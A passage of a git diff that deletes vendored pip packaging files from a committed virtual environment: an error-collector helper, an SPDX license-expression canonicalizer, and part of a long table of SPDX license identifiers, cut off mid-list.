-        if self.errors:
-            raise ExceptionGroup(msg, self.errors)
-
-    @contextlib.contextmanager
-    def on_exit(self, msg: str) -> typing.Generator[_ErrorCollector, None, None]:
-        """
-        Calls finalize if no uncollected errors were present.
-
-        Uncollected errors are raised normally.
-        """
-        yield self
-        self.finalize(msg)
-
-    @contextlib.contextmanager
-    def collect(self, *err_cls: type[Exception]) -> typing.Generator[None, None, None]:
-        """
-        Context manager to collect errors into the error list.
-
-        Must be inside loops, as only one error can be collected at a time.
-        """
-        error_classes = err_cls or (Exception,)
-        try:
-            yield
-        except ExceptionGroup as error:
-            self.errors.extend(error.exceptions)
-        except error_classes as error:
-            self.errors.append(error)
-
-    def error(
-        self,
-        error: Exception,
-    ) -> None:
-        """Add an error to the list."""
-        self.errors.append(error)
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/licenses/__init__.py b/venv/Lib/site-packages/pip/_vendor/packaging/licenses/__init__.py
deleted file mode 100644
index 36e46ed02ca7aa6690928cf33868ae9cd1ab1d17..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/licenses/__init__.py
+++ /dev/null
@@ -1,186 +0,0 @@
-#######################################################################################
-#
-# Adapted from:
-#  https://github.com/pypa/hatch/blob/5352e44/backend/src/hatchling/licenses/parse.py
-#
-# MIT License
-#
-# Copyright (c) 2017-present Ofek Lev 
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy of this
-# software and associated documentation files (the "Software"), to deal in the Software
-# without restriction, including without limitation the rights to use, copy, modify,
-# merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to the following
-# conditions:
-#
-# The above copyright notice and this permission notice shall be included in all copies
-# or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
-# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
-# PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
-# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
-# OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-#
-# With additional allowance of arbitrary `LicenseRef-` identifiers, not just
-# `LicenseRef-Public-Domain` and `LicenseRef-Proprietary`.
-#
-#######################################################################################
-from __future__ import annotations
-
-import re
-from typing import NewType, cast
-
-from ._spdx import EXCEPTIONS, LICENSES
-
-__all__ = [
-    "InvalidLicenseExpression",
-    "NormalizedLicenseExpression",
-    "canonicalize_license_expression",
-]
-
-
-# Simple __dir__ implementation since there are no public submodules
-def __dir__() -> list[str]:
-    return __all__
-
-
-license_ref_allowed = re.compile("^[A-Za-z0-9.-]*$")
-
-NormalizedLicenseExpression = NewType("NormalizedLicenseExpression", str)
-"""
-A :class:`typing.NewType` of :class:`str`, representing a normalized
-License-Expression.
-"""
-
-
-class InvalidLicenseExpression(ValueError):
-    """Raised when a license-expression string is invalid
-
-    >>> from packaging.licenses import canonicalize_license_expression
-    >>> canonicalize_license_expression("invalid")
-    Traceback (most recent call last):
-        ...
-    packaging.licenses.InvalidLicenseExpression: Invalid license expression: 'invalid'
-    """
-
-
-def canonicalize_license_expression(
-    raw_license_expression: str,
-) -> NormalizedLicenseExpression:
-    """
-    This function takes a valid License-Expression, and returns the normalized
-    form of it.
-
-    The return type is typed as :class:`NormalizedLicenseExpression`. This
-    allows type checkers to help require that a string has passed through this
-    function before use.
-
-    :param str raw_license_expression: The License-Expression to canonicalize.
-    :raises InvalidLicenseExpression: If the License-Expression is invalid due to an
-        invalid/unknown license identifier or invalid syntax.
-
-    .. doctest::
-
-        >>> from packaging.licenses import canonicalize_license_expression
-        >>> canonicalize_license_expression("mit")
-        'MIT'
-        >>> canonicalize_license_expression("mit and (apache-2.0 or bsd-2-clause)")
-        'MIT AND (Apache-2.0 OR BSD-2-Clause)'
-        >>> canonicalize_license_expression("(mit")
-        Traceback (most recent call last):
-          ...
-        InvalidLicenseExpression: Invalid license expression: '(mit'
-        >>> canonicalize_license_expression("Use-it-after-midnight")
-        Traceback (most recent call last):
-          ...
-        InvalidLicenseExpression: Unknown license: 'Use-it-after-midnight'
-    """
-    if not raw_license_expression:
-        message = f"Invalid license expression: {raw_license_expression!r}"
-        raise InvalidLicenseExpression(message)
-
-    # Pad any parentheses so tokenization can be achieved by merely splitting on
-    # whitespace.
-    license_expression = raw_license_expression.replace("(", " ( ").replace(")", " ) ")
-    licenseref_prefix = "LicenseRef-"
-    license_refs = {
-        ref.lower(): "LicenseRef-" + ref[len(licenseref_prefix) :]
-        for ref in license_expression.split()
-        if ref.lower().startswith(licenseref_prefix.lower())
-    }
-
-    # Normalize to lower case so we can look up licenses/exceptions
-    # and so boolean operators are Python-compatible.
-    license_expression = license_expression.lower()
-
-    tokens = license_expression.split()
-
-    # Rather than implementing a parenthesis/boolean logic parser, create an
-    # expression that Python can parse. Everything that is not involved with the
-    # grammar itself is replaced with the placeholder `False` and the resultant
-    # expression should become a valid Python expression.
-    python_tokens = []
-    for token in tokens:
-        if token not in {"or", "and", "with", "(", ")"}:
-            python_tokens.append("False")
-        elif token == "with":
-            python_tokens.append("or")
-        elif (
-            token == "("
-            and python_tokens
-            and python_tokens[-1] not in {"or", "and", "("}
-        ) or (token == ")" and python_tokens and python_tokens[-1] == "("):
-            message = f"Invalid license expression: {raw_license_expression!r}"
-            raise InvalidLicenseExpression(message)
-        else:
-            python_tokens.append(token)
-
-    python_expression = " ".join(python_tokens)
-    try:
-        compile(python_expression, "", "eval")
-    except SyntaxError:
-        message = f"Invalid license expression: {raw_license_expression!r}"
-        raise InvalidLicenseExpression(message) from None
-
-    # Take a final pass to check for unknown licenses/exceptions.
-    normalized_tokens = []
-    for token in tokens:
-        if token in {"or", "and", "with", "(", ")"}:
-            normalized_tokens.append(token.upper())
-            continue
-
-        if normalized_tokens and normalized_tokens[-1] == "WITH":
-            if token not in EXCEPTIONS:
-                message = f"Unknown license exception: {token!r}"
-                raise InvalidLicenseExpression(message)
-
-            normalized_tokens.append(EXCEPTIONS[token]["id"])
-        else:
-            if token.endswith("+"):
-                final_token = token[:-1]
-                suffix = "+"
-            else:
-                final_token = token
-                suffix = ""
-
-            if final_token.startswith("licenseref-"):
-                if not license_ref_allowed.match(final_token):
-                    message = f"Invalid licenseref: {final_token!r}"
-                    raise InvalidLicenseExpression(message)
-                normalized_tokens.append(license_refs[final_token] + suffix)
-            else:
-                if final_token not in LICENSES:
-                    message = f"Unknown license: {final_token!r}"
-                    raise InvalidLicenseExpression(message)
-                normalized_tokens.append(LICENSES[final_token]["id"] + suffix)
-
-    normalized_expression = " ".join(normalized_tokens)
-
-    return cast(
-        "NormalizedLicenseExpression",
-        normalized_expression.replace("( ", "(").replace(" )", ")"),
-    )
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/licenses/_spdx.py b/venv/Lib/site-packages/pip/_vendor/packaging/licenses/_spdx.py
deleted file mode 100644
index a277af28220b6dbe4599471104d1c7a2bd1e1288..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/licenses/_spdx.py
+++ /dev/null
@@ -1,799 +0,0 @@
-
-from __future__ import annotations
-
-from typing import TypedDict
-
-class SPDXLicense(TypedDict):
-    id: str
-    deprecated: bool
-
-class SPDXException(TypedDict):
-    id: str
-    deprecated: bool
-
-
-VERSION = '3.27.0'
-
-LICENSES: dict[str, SPDXLicense] = {
-    '0bsd': {'id': '0BSD', 'deprecated': False},
-    '3d-slicer-1.0': {'id': '3D-Slicer-1.0', 'deprecated': False},
-    'aal': {'id': 'AAL', 'deprecated': False},
-    'abstyles': {'id': 'Abstyles', 'deprecated': False},
-    'adacore-doc': {'id': 'AdaCore-doc', 'deprecated': False},
-    'adobe-2006': {'id': 'Adobe-2006', 'deprecated': False},
-    'adobe-display-postscript': {'id': 'Adobe-Display-PostScript', 'deprecated': False},
-    'adobe-glyph': {'id': 'Adobe-Glyph', 'deprecated': False},
-    'adobe-utopia': {'id': 'Adobe-Utopia', 'deprecated': False},
-    'adsl': {'id': 'ADSL', 'deprecated': False},
-    'afl-1.1': {'id': 'AFL-1.1', 'deprecated': False},
-    'afl-1.2': {'id': 'AFL-1.2', 'deprecated': False},
-    'afl-2.0': {'id': 'AFL-2.0', 'deprecated': False},
-    'afl-2.1': {'id': 'AFL-2.1', 'deprecated': False},
-    'afl-3.0': {'id': 'AFL-3.0', 'deprecated': False},
-    'afmparse': {'id': 'Afmparse', 'deprecated': False},
-    'agpl-1.0': {'id': 'AGPL-1.0', 'deprecated': True},
-    'agpl-1.0-only': {'id': 'AGPL-1.0-only', 'deprecated': False},
-    'agpl-1.0-or-later': {'id': 'AGPL-1.0-or-later', 'deprecated': False},
-    'agpl-3.0': {'id': 'AGPL-3.0', 'deprecated': True},
-    'agpl-3.0-only': {'id': 'AGPL-3.0-only', 'deprecated': False},
-    'agpl-3.0-or-later': {'id': 'AGPL-3.0-or-later', 'deprecated': False},
-    'aladdin': {'id': 'Aladdin', 'deprecated': False},
-    'amd-newlib': {'id': 'AMD-newlib', 'deprecated': False},
-    'amdplpa': {'id': 'AMDPLPA', 'deprecated': False},
-    'aml': {'id': 'AML', 'deprecated': False},
-    'aml-glslang': {'id': 'AML-glslang', 'deprecated': False},
-    'ampas': {'id': 'AMPAS', 'deprecated': False},
-    'antlr-pd': {'id': 'ANTLR-PD', 'deprecated': False},
-    'antlr-pd-fallback': {'id': 'ANTLR-PD-fallback', 'deprecated': False},
-    'any-osi': {'id': 'any-OSI', 'deprecated': False},
-    'any-osi-perl-modules': {'id': 'any-OSI-perl-modules', 'deprecated': False},
-    'apache-1.0': {'id': 'Apache-1.0', 'deprecated': False},
-    'apache-1.1': {'id': 'Apache-1.1', 'deprecated': False},
-    'apache-2.0': {'id': 'Apache-2.0', 'deprecated': False},
-    'apafml': {'id': 'APAFML', 'deprecated': False},
-    'apl-1.0': {'id': 'APL-1.0', 'deprecated': False},
-    'app-s2p': {'id': 'App-s2p', 'deprecated': False},
-    'apsl-1.0': {'id': 'APSL-1.0', 'deprecated': False},
-    'apsl-1.1': {'id': 'APSL-1.1', 'deprecated': False},
-    'apsl-1.2': {'id': 'APSL-1.2', 'deprecated': False},
-    'apsl-2.0': {'id': 'APSL-2.0', 'deprecated': False},
-    'arphic-1999': {'id': 'Arphic-1999', 'deprecated': False},
-    'artistic-1.0': {'id': 'Artistic-1.0', 'deprecated': False},
-    'artistic-1.0-cl8': {'id': 'Artistic-1.0-cl8', 'deprecated': False},
-    'artistic-1.0-perl': {'id': 'Artistic-1.0-Perl', 'deprecated': False},
-    'artistic-2.0': {'id': 'Artistic-2.0', 'deprecated': False},
-    'artistic-dist': {'id': 'Artistic-dist', 'deprecated': False},
-    'aspell-ru': {'id': 'Aspell-RU', 'deprecated': False},
-    'aswf-digital-assets-1.0': {'id': 'ASWF-Digital-Assets-1.0', 'deprecated': False},
-    'aswf-digital-assets-1.1': {'id': 'ASWF-Digital-Assets-1.1', 'deprecated': False},
-    'baekmuk': {'id': 'Baekmuk', 'deprecated': False},
-    'bahyph': {'id': 'Bahyph', 'deprecated': False},
-    'barr': {'id': 'Barr', 'deprecated': False},
-    'bcrypt-solar-designer': {'id': 'bcrypt-Solar-Designer', 'deprecated': False},
-    'beerware': {'id': 'Beerware', 'deprecated': False},
-    'bitstream-charter': {'id': 'Bitstream-Charter', 'deprecated': False},
-    'bitstream-vera': {'id': 'Bitstream-Vera', 'deprecated': False},
-    'bittorrent-1.0': {'id': 'BitTorrent-1.0', 'deprecated': False},
-    'bittorrent-1.1': {'id': 'BitTorrent-1.1', 'deprecated': False},
-    'blessing': {'id': 'blessing', 'deprecated': False},
-    'blueoak-1.0.0': {'id': 'BlueOak-1.0.0', 'deprecated': False},
-    'boehm-gc': {'id': 'Boehm-GC', 'deprecated': False},
-    'boehm-gc-without-fee': {'id': 'Boehm-GC-without-fee', 'deprecated': False},
-    'borceux': {'id': 'Borceux', 'deprecated': False},
-    'brian-gladman-2-clause': {'id': 'Brian-Gladman-2-Clause', 'deprecated': False},
-    'brian-gladman-3-clause': {'id': 'Brian-Gladman-3-Clause', 'deprecated': False},
-    'bsd-1-clause': {'id': 'BSD-1-Clause', 'deprecated': False},
-    'bsd-2-clause': {'id': 'BSD-2-Clause', 'deprecated': False},
-    'bsd-2-clause-darwin': {'id': 'BSD-2-Clause-Darwin', 'deprecated': False},
-    'bsd-2-clause-first-lines': {'id': 'BSD-2-Clause-first-lines', 'deprecated': False},
-    'bsd-2-clause-freebsd': {'id': 'BSD-2-Clause-FreeBSD', 'deprecated': True},
-    'bsd-2-clause-netbsd': {'id': 'BSD-2-Clause-NetBSD', 'deprecated': True},
-    'bsd-2-clause-patent': {'id': 'BSD-2-Clause-Patent', 'deprecated': False},
-    'bsd-2-clause-pkgconf-disclaimer': {'id': 'BSD-2-Clause-pkgconf-disclaimer', 'deprecated': False},
-    'bsd-2-clause-views': {'id': 'BSD-2-Clause-Views', 'deprecated': False},
-    'bsd-3-clause': {'id': 'BSD-3-Clause', 'deprecated': False},
-    'bsd-3-clause-acpica': {'id': 'BSD-3-Clause-acpica', 'deprecated': False},
-    'bsd-3-clause-attribution': {'id': 'BSD-3-Clause-Attribution', 'deprecated': False},
-    'bsd-3-clause-clear': {'id': 'BSD-3-Clause-Clear', 'deprecated': False},
-    'bsd-3-clause-flex': {'id': 'BSD-3-Clause-flex', 'deprecated': False},
-    'bsd-3-clause-hp': {'id': 'BSD-3-Clause-HP', 'deprecated': False},
-    'bsd-3-clause-lbnl': {'id': 'BSD-3-Clause-LBNL', 'deprecated': False},
-    'bsd-3-clause-modification': {'id': 'BSD-3-Clause-Modification', 'deprecated': False},
-    'bsd-3-clause-no-military-license': {'id': 'BSD-3-Clause-No-Military-License', 'deprecated': False},
-    'bsd-3-clause-no-nuclear-license': {'id': 'BSD-3-Clause-No-Nuclear-License', 'deprecated': False},
-    'bsd-3-clause-no-nuclear-license-2014': {'id': 'BSD-3-Clause-No-Nuclear-License-2014', 'deprecated': False},
-    'bsd-3-clause-no-nuclear-warranty': {'id': 'BSD-3-Clause-No-Nuclear-Warranty', 'deprecated': False},
-    'bsd-3-clause-open-mpi': {'id': 'BSD-3-Clause-Open-MPI', 'deprecated': False},
-    'bsd-3-clause-sun': {'id': 'BSD-3-Clause-Sun', 'deprecated': False},
-    'bsd-4-clause': {'id': 'BSD-4-Clause', 'deprecated': False},
-    'bsd-4-clause-shortened': {'id': 'BSD-4-Clause-Shortened', 'deprecated': False},
-    'bsd-4-clause-uc': {'id': 'BSD-4-Clause-UC', 'deprecated': False},
-    'bsd-4.3reno': {'id': 'BSD-4.3RENO', 'deprecated': False},
-    'bsd-4.3tahoe': {'id': 'BSD-4.3TAHOE', 'deprecated': False},
-    'bsd-advertising-acknowledgement': {'id': 'BSD-Advertising-Acknowledgement', 'deprecated': False},
-    'bsd-attribution-hpnd-disclaimer': {'id': 'BSD-Attribution-HPND-disclaimer', 'deprecated': False},
-    'bsd-inferno-nettverk': {'id': 'BSD-Inferno-Nettverk', 'deprecated': False},
-    'bsd-protection': {'id': 'BSD-Protection', 'deprecated': False},
-    'bsd-source-beginning-file': {'id': 'BSD-Source-beginning-file', 'deprecated': False},
-    'bsd-source-code': {'id': 'BSD-Source-Code', 'deprecated': False},
-    'bsd-systemics': {'id': 'BSD-Systemics', 'deprecated': False},
-    'bsd-systemics-w3works': {'id': 'BSD-Systemics-W3Works', 'deprecated': False},
-    'bsl-1.0': {'id': 'BSL-1.0', 'deprecated': False},
-    'busl-1.1': {'id': 'BUSL-1.1', 'deprecated': False},
-    'bzip2-1.0.5': {'id': 'bzip2-1.0.5', 'deprecated': True},
-    'bzip2-1.0.6': {'id': 'bzip2-1.0.6', 'deprecated': False},
-    'c-uda-1.0': {'id': 'C-UDA-1.0', 'deprecated': False},
-    'cal-1.0': {'id': 'CAL-1.0', 'deprecated': False},
-    'cal-1.0-combined-work-exception': {'id': 'CAL-1.0-Combined-Work-Exception', 'deprecated': False},
-    'caldera': {'id': 'Caldera', 'deprecated': False},
-    'caldera-no-preamble': {'id': 'Caldera-no-preamble', 'deprecated': False},
-    'catharon': {'id': 'Catharon', 'deprecated': False},
-    'catosl-1.1': {'id': 'CATOSL-1.1', 'deprecated': False},
-    'cc-by-1.0': {'id': 'CC-BY-1.0', 'deprecated': False},
-    'cc-by-2.0': {'id': 'CC-BY-2.0', 'deprecated': False},
-    'cc-by-2.5': {'id': 'CC-BY-2.5', 'deprecated': False},
-    'cc-by-2.5-au': {'id': 'CC-BY-2.5-AU', 'deprecated': False},
-    'cc-by-3.0': {'id': 'CC-BY-3.0', 'deprecated': False},
-    'cc-by-3.0-at': {'id': 'CC-BY-3.0-AT', 'deprecated': False},
-    'cc-by-3.0-au': {'id': 'CC-BY-3.0-AU', 'deprecated': False},
-    'cc-by-3.0-de': {'id': 'CC-BY-3.0-DE', 'deprecated': False},
-    'cc-by-3.0-igo': {'id': 'CC-BY-3.0-IGO', 'deprecated': False},
-    'cc-by-3.0-nl': {'id': 'CC-BY-3.0-NL', 'deprecated': False},
-    'cc-by-3.0-us': {'id': 'CC-BY-3.0-US', 'deprecated': False},
-    'cc-by-4.0': {'id': 'CC-BY-4.0', 'deprecated': False},
-    'cc-by-nc-1.0': {'id': 'CC-BY-NC-1.0', 'deprecated': False},
-    'cc-by-nc-2.0': {'id': 'CC-BY-NC-2.0', 'deprecated': False},
-    'cc-by-nc-2.5': {'id': 'CC-BY-NC-2.5', 'deprecated': False},
-    'cc-by-nc-3.0': {'id': 'CC-BY-NC-3.0', 'deprecated': False},
-    'cc-by-nc-3.0-de': {'id': 'CC-BY-NC-3.0-DE', 'deprecated': False},
-    'cc-by-nc-4.0': {'id': 'CC-BY-NC-4.0', 'deprecated': False},
-    'cc-by-nc-nd-1.0': {'id': 'CC-BY-NC-ND-1.0', 'deprecated': False},
-    'cc-by-nc-nd-2.0': {'id': 'CC-BY-NC-ND-2.0', 'deprecated': False},
-    'cc-by-nc-nd-2.5': {'id': 'CC-BY-NC-ND-2.5', 'deprecated': False},
-    'cc-by-nc-nd-3.0': {'id': 'CC-BY-NC-ND-3.0', 'deprecated': False},
-    'cc-by-nc-nd-3.0-de': {'id': 'CC-BY-NC-ND-3.0-DE', 'deprecated': False},
-    'cc-by-nc-nd-3.0-igo': {'id': 'CC-BY-NC-ND-3.0-IGO', 'deprecated': False},
-    'cc-by-nc-nd-4.0': {'id': 'CC-BY-NC-ND-4.0', 'deprecated': False},
-    'cc-by-nc-sa-1.0': {'id': 'CC-BY-NC-SA-1.0', 'deprecated': False},
-    'cc-by-nc-sa-2.0': {'id': 'CC-BY-NC-SA-2.0', 'deprecated': False},
-    'cc-by-nc-sa-2.0-de': {'id': 'CC-BY-NC-SA-2.0-DE', 'deprecated': False},
-    'cc-by-nc-sa-2.0-fr': {'id': 'CC-BY-NC-SA-2.0-FR', 'deprecated': False},
-    'cc-by-nc-sa-2.0-uk': {'id': 'CC-BY-NC-SA-2.0-UK', 'deprecated': False},
-    'cc-by-nc-sa-2.5': {'id': 'CC-BY-NC-SA-2.5', 'deprecated': False},
-    'cc-by-nc-sa-3.0': {'id': 'CC-BY-NC-SA-3.0', 'deprecated': False},
-    'cc-by-nc-sa-3.0-de': {'id': 'CC-BY-NC-SA-3.0-DE', 'deprecated': False},
-    'cc-by-nc-sa-3.0-igo': {'id': 'CC-BY-NC-SA-3.0-IGO', 'deprecated': False},
-    'cc-by-nc-sa-4.0': {'id': 'CC-BY-NC-SA-4.0', 'deprecated': False},
-    'cc-by-nd-1.0': {'id': 'CC-BY-ND-1.0', 'deprecated': False},
-    'cc-by-nd-2.0': {'id': 'CC-BY-ND-2.0', 'deprecated': False},
-    'cc-by-nd-2.5': {'id': 'CC-BY-ND-2.5', 'deprecated': False},
-    'cc-by-nd-3.0': {'id': 'CC-BY-ND-3.0', 'deprecated': False},
-    'cc-by-nd-3.0-de': {'id': 'CC-BY-ND-3.0-DE', 'deprecated': False},
-    'cc-by-nd-4.0': {'id': 'CC-BY-ND-4.0', 'deprecated': False},
-    'cc-by-sa-1.0': {'id': 'CC-BY-SA-1.0', 'deprecated': False},
-    'cc-by-sa-2.0': {'id': 'CC-BY-SA-2.0', 'deprecated': False},
-    'cc-by-sa-2.0-uk': {'id': 'CC-BY-SA-2.0-UK', 'deprecated': False},
-    'cc-by-sa-2.1-jp': {'id': 'CC-BY-SA-2.1-JP', 'deprecated': False},
-    'cc-by-sa-2.5': {'id': 'CC-BY-SA-2.5', 'deprecated': False},
-    'cc-by-sa-3.0': {'id': 'CC-BY-SA-3.0', 'deprecated': False},
-    'cc-by-sa-3.0-at': {'id': 'CC-BY-SA-3.0-AT', 'deprecated': False},
-    'cc-by-sa-3.0-de': {'id': 'CC-BY-SA-3.0-DE', 'deprecated': False},
-    'cc-by-sa-3.0-igo': {'id': 'CC-BY-SA-3.0-IGO', 'deprecated': False},
-    'cc-by-sa-4.0': {'id': 'CC-BY-SA-4.0', 'deprecated': False},
-    'cc-pddc': {'id': 'CC-PDDC', 'deprecated': False},
-    'cc-pdm-1.0': {'id': 'CC-PDM-1.0', 'deprecated': False},
-    'cc-sa-1.0': {'id': 'CC-SA-1.0', 'deprecated': False},
-    'cc0-1.0': {'id': 'CC0-1.0', 'deprecated': False},
-    'cddl-1.0': {'id': 'CDDL-1.0', 'deprecated': False},
-    'cddl-1.1': {'id': 'CDDL-1.1', 'deprecated': False},
-    'cdl-1.0': {'id': 'CDL-1.0', 'deprecated': False},
-    'cdla-permissive-1.0': {'id': 'CDLA-Permissive-1.0', 'deprecated': False},
-    'cdla-permissive-2.0': {'id': 'CDLA-Permissive-2.0', 'deprecated': False},
-    'cdla-sharing-1.0': {'id': 'CDLA-Sharing-1.0', 'deprecated': False},
-    'cecill-1.0': {'id': 'CECILL-1.0', 'deprecated': False},
-    'cecill-1.1': {'id': 'CECILL-1.1', 'deprecated': False},
-    'cecill-2.0': {'id': 'CECILL-2.0', 'deprecated': False},
-    'cecill-2.1': {'id': 'CECILL-2.1', 'deprecated': False},
-    'cecill-b': {'id': 'CECILL-B', 'deprecated': False},
-    'cecill-c': {'id': 'CECILL-C', 'deprecated': False},
-    'cern-ohl-1.1': {'id': 'CERN-OHL-1.1', 'deprecated': False},
-    'cern-ohl-1.2': {'id': 'CERN-OHL-1.2', 'deprecated': False},
-    'cern-ohl-p-2.0': {'id': 'CERN-OHL-P-2.0', 'deprecated': False},
-    'cern-ohl-s-2.0': {'id': 'CERN-OHL-S-2.0', 'deprecated': False},
-    'cern-ohl-w-2.0': {'id': 'CERN-OHL-W-2.0', 'deprecated': False},
-    'cfitsio': {'id': 'CFITSIO', 'deprecated': False},
-    'check-cvs': {'id': 'check-cvs', 'deprecated': False},
-    'checkmk': {'id': 'checkmk', 'deprecated': False},
-    'clartistic': {'id': 'ClArtistic', 'deprecated': False},
-    'clips': {'id': 'Clips', 'deprecated': False},
-    'cmu-mach': {'id': 'CMU-Mach', 'deprecated': False},
-    'cmu-mach-nodoc': {'id': 'CMU-Mach-nodoc', 'deprecated': False},
-    'cnri-jython': {'id': 'CNRI-Jython', 'deprecated': False},
-    'cnri-python': {'id': 'CNRI-Python', 'deprecated': False},
-    'cnri-python-gpl-compatible': {'id': 'CNRI-Python-GPL-Compatible', 'deprecated': False},
-    'coil-1.0': {'id': 'COIL-1.0', 'deprecated': False},
-    'community-spec-1.0': {'id': 'Community-Spec-1.0', 'deprecated': False},
-    'condor-1.1': {'id': 'Condor-1.1', 'deprecated': False},
-    'copyleft-next-0.3.0': {'id': 'copyleft-next-0.3.0', 'deprecated': False},
-    'copyleft-next-0.3.1': {'id': 'copyleft-next-0.3.1', 'deprecated': False},
-    'cornell-lossless-jpeg': {'id': 'Cornell-Lossless-JPEG', 'deprecated': False},
-    'cpal-1.0': {'id': 'CPAL-1.0', 'deprecated': False},
-    'cpl-1.0': {'id': 'CPL-1.0', 'deprecated': False},
-    'cpol-1.02': {'id': 'CPOL-1.02', 'deprecated': False},
-    'cronyx': {'id': 'Cronyx', 'deprecated': False},
-    'crossword': {'id': 'Crossword', 'deprecated': False},
-    'cryptoswift': {'id': 'CryptoSwift', 'deprecated': False},
-    'crystalstacker': {'id': 'CrystalStacker', 'deprecated': False},
-    'cua-opl-1.0': {'id': 'CUA-OPL-1.0', 'deprecated': False},
-    'cube': {'id': 'Cube', 'deprecated': False},
-    'curl': {'id': 'curl', 'deprecated': False},
-    'cve-tou': {'id': 'cve-tou', 'deprecated': False},
-    'd-fsl-1.0': {'id': 'D-FSL-1.0', 'deprecated': False},
-    'dec-3-clause': {'id': 'DEC-3-Clause', 'deprecated': False},
-    'diffmark': {'id': 'diffmark', 'deprecated': False},
-    'dl-de-by-2.0': {'id': 'DL-DE-BY-2.0', 'deprecated': False},
-    'dl-de-zero-2.0': {'id': 'DL-DE-ZERO-2.0', 'deprecated': False},
-    'doc': {'id': 'DOC', 'deprecated': False},
-    'docbook-dtd': {'id': 'DocBook-DTD', 'deprecated': False},
-    'docbook-schema': {'id': 'DocBook-Schema', 'deprecated': False},
-    'docbook-stylesheet': {'id': 'DocBook-Stylesheet', 'deprecated': False},
-    'docbook-xml': {'id': 'DocBook-XML', 'deprecated': False},
-    'dotseqn': {'id': 'Dotseqn', 'deprecated': False},
-    'drl-1.0': {'id': 'DRL-1.0', 'deprecated': False},
-    'drl-1.1': {'id': 'DRL-1.1', 'deprecated': False},
-    'dsdp': {'id': 'DSDP', 'deprecated': False},
-    'dtoa': {'id': 'dtoa', 'deprecated': False},
-    'dvipdfm': {'id': 'dvipdfm', 'deprecated': False},
-    'ecl-1.0': {'id': 'ECL-1.0', 'deprecated': False},
-    'ecl-2.0': {'id': 'ECL-2.0', 'deprecated': False},
-    'ecos-2.0': {'id': 'eCos-2.0', 'deprecated': True},
-    'efl-1.0': {'id': 'EFL-1.0', 'deprecated': False},
-    'efl-2.0': {'id': 'EFL-2.0', 'deprecated': False},
-    'egenix': {'id': 'eGenix', 'deprecated': False},
-    'elastic-2.0': {'id': 'Elastic-2.0', 'deprecated': False},
-    'entessa': {'id': 'Entessa', 'deprecated': False},
-    'epics': {'id': 'EPICS', 'deprecated': False},
-    'epl-1.0': {'id': 'EPL-1.0', 'deprecated': False},
-    'epl-2.0': {'id': 'EPL-2.0', 'deprecated': False},
-    'erlpl-1.1': {'id': 'ErlPL-1.1', 'deprecated': False},
-    'etalab-2.0': {'id': 'etalab-2.0', 'deprecated': False},
-    'eudatagrid': {'id': 'EUDatagrid', 'deprecated': False},
-    'eupl-1.0': {'id': 'EUPL-1.0', 'deprecated': False},
-    'eupl-1.1': {'id': 'EUPL-1.1', 'deprecated': False},
-    'eupl-1.2': {'id': 'EUPL-1.2', 'deprecated': False},
-    'eurosym': {'id': 'Eurosym', 'deprecated': False},
-    'fair': {'id': 'Fair', 'deprecated': False},
-    'fbm': {'id': 'FBM', 'deprecated': False},
-    'fdk-aac': {'id': 'FDK-AAC', 'deprecated': False},
-    'ferguson-twofish': {'id': 'Ferguson-Twofish', 'deprecated': False},
-    'frameworx-1.0': {'id': 'Frameworx-1.0', 'deprecated': False},
-    'freebsd-doc': {'id': 'FreeBSD-DOC', 'deprecated': False},
-    'freeimage': {'id': 'FreeImage', 'deprecated': False},
-    'fsfap': {'id': 'FSFAP', 'deprecated': False},
-    'fsfap-no-warranty-disclaimer': {'id': 'FSFAP-no-warranty-disclaimer', 'deprecated': False},
-    'fsful': {'id': 'FSFUL', 'deprecated': False},
-    'fsfullr': {'id': 'FSFULLR', 'deprecated': False},
-    'fsfullrsd': {'id': 'FSFULLRSD', 'deprecated': False},
-    'fsfullrwd': {'id': 'FSFULLRWD', 'deprecated': False},
-    'fsl-1.1-alv2': {'id': 'FSL-1.1-ALv2', 'deprecated': False},
-    'fsl-1.1-mit': {'id': 'FSL-1.1-MIT', 'deprecated': False},
-    'ftl': {'id': 'FTL', 'deprecated': False},
-    'furuseth': {'id': 'Furuseth', 'deprecated': False},
-    'fwlw': {'id': 'fwlw', 'deprecated': False},
-    'game-programming-gems': {'id': 'Game-Programming-Gems', 'deprecated': False},
-    'gcr-docs': {'id': 'GCR-docs', 'deprecated': False},
-    'gd': {'id': 'GD', 'deprecated': False},
-    'generic-xts': {'id': 'generic-xts', 'deprecated': False},
-    'gfdl-1.1': {'id': 'GFDL-1.1', 'deprecated': True},
-    'gfdl-1.1-invariants-only': {'id': 'GFDL-1.1-invariants-only', 'deprecated': False},
-    'gfdl-1.1-invariants-or-later': {'id': 'GFDL-1.1-invariants-or-later', 'deprecated': False},
-    'gfdl-1.1-no-invariants-only': {'id': 'GFDL-1.1-no-invariants-only', 'deprecated': False},
-    'gfdl-1.1-no-invariants-or-later': {'id': 'GFDL-1.1-no-invariants-or-later', 'deprecated': False},
-    'gfdl-1.1-only': {'id': 'GFDL-1.1-only', 'deprecated': False},
-    'gfdl-1.1-or-later': {'id': 'GFDL-1.1-or-later', 'deprecated': False},
-    'gfdl-1.2': {'id': 'GFDL-1.2', 'deprecated': True},
-    'gfdl-1.2-invariants-only': {'id': 'GFDL-1.2-invariants-only', 'deprecated': False},
-    'gfdl-1.2-invariants-or-later': {'id': 'GFDL-1.2-invariants-or-later', 'deprecated': False},
-    'gfdl-1.2-no-invariants-only': {'id': 'GFDL-1.2-no-invariants-only', 'deprecated': False},
